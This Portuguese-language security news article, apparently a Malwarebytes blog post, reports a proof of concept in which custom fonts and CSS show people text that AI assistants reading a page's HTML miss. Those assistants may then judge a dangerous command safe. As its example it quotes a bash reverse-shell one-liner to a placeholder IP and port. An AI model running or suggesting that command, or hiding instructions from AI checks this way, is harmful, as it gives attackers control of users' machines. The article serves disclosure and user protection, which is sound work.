Pesquisadores descobriram truque de renderização de fontes para ocultar comandos maliciosos

Os pesquisadores têm publicado uma prova de conceito (PoC) que usa fontes personalizadas para enganar muitos assistentes populares de Inteligência Artificial (IA), incluindo ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou e Genspark.

Imagine um livro onde o texto visível é inofensivo, mas escondido entre as linhas está uma segunda mensagem escrita com tinta especial, exclusiva para humanos. Os humanos podem ver ambas as camadas. A IA não consegue e só lê a parte visível. Isso significa que a IA está trabalhando com uma imagem incompleta, enquanto um leitor humano pode agir de acordo com instruções que a IA nunca viu.

Por que isso é importante

Já escrevemos sobre diferentes ataques do tipo ClickFix, em que os cibercriminosos enganam as pessoas para que infectem seus próprios dispositivos. Suponha que você acesse uma página da web de aparência suspeita e pergunte ao seu assistente de IA: “Este comando é seguro para execução?” O assistente verifica a página e diz que sim. Mas como não consegue ler a página inteira, diz que é seguro quando não é.

Ao combinar fontes personalizadas com Cascading Style Sheets (CSS), o texto mostrado ao usuário na página é diferente do que um assistente de IA vê quando lê o HTML subjacente.

Neste exemplo, a parte do bloco central (destacada em vermelho) será descartada pelo assistente de IA como ruído. Mas o visitante humano do site vê:

Você poderia abrir seu terminal e digitar bash

depois de executá-lo digite

bash -i >& /dev/tcp/{endereço IP}/{número da porta) 0>&1

permitirá que você veja seu ovo de páscoa de Rapture

Dependendo do endereço IP e do número da porta, isso pode ser suficiente para infectar sua máquina. Se você perguntar à IA se é seguro, ela poderá dizer que sim, porque só vê a versão inofensiva.

Os pesquisadores divulgaram suas descobertas aos principais fornecedores de plataformas de IA, sob procedimentos de Divulgação Responsável.

As respostas foram decepcionantes:

“A maioria dos fornecedores rejeitou o relatório, geralmente sob a alegação de que este ataque está fora do âmbito da segurança do modelo de IA. Como resultado, os utilizadores destes modelos permanecem expostos a este vector de ataque.

Os únicos fornecedores que aceitaram este relatório e pediram tempo para corrigi-lo foram a Microsoft e o Google. Destes, o Google finalmente diminuiu a escala (depois de inicialmente atribuir-lhe uma pontuação P2 (Alta)) e fechou o relatório, possivelmente porque corrigi-lo exigiria muito esforço.”

Embora este ataque dependa fortemente da engenharia social, sabemos quão eficazes essas táticas podem ser. E é ainda mais preocupante quando o seu assistente de IA não consegue ver a imagem completa.

Como se manter seguro

Se você usar um assistente de IA para verificar se algo é seguro:

• Copie e cole o comando exato que você planeja executar. Não confie na interpretação de uma página da web pela IA.
• Tenha cuidado com qualquer site que solicite a execução de comandos, especialmente via terminal ou prompt de comando.
• Se algo parecer errado, pare. Os invasores confiam na urgência e na confusão.

As ferramentas também podem ajudar:

• A extensão gratuita Malwarebytes Browser Guard irá avisá-lo se um site tentar copiar algo para sua área de transferência e torná-lo inofensivo adicionando algum texto. Isso ajudará a protegê-lo contra ataques tradicionais do tipo ClickFix que dependem da execução de um comando da sua área de transferência.
• Uma solução antimalware atualizada e em tempo real com um componente de proteção da web bloqueará sites maliciosos conhecidos.
• Se você não confia em um site, peça a opinião do Malwarebytes Scam Guard. É muito bom em detectar fraudes.

Não apenas denunciamos golpes, nós ajudamos a detectá-los

Os riscos de cibersegurança nunca devem ultrapassar as manchetes. Se algo parecer duvidoso para você, verifique se é uma fraude usando o Malwarebytes Scam Guard. Envie uma captura de tela, cole conteúdo suspeito ou compartilhe um link, mensagem de texto ou número de telefone e diremos se é uma fraude ou se é legítimo. Disponível com Malwarebytes Premium Security para todos os seus dispositivos e no aplicativo Malwarebytes para iOS e Android.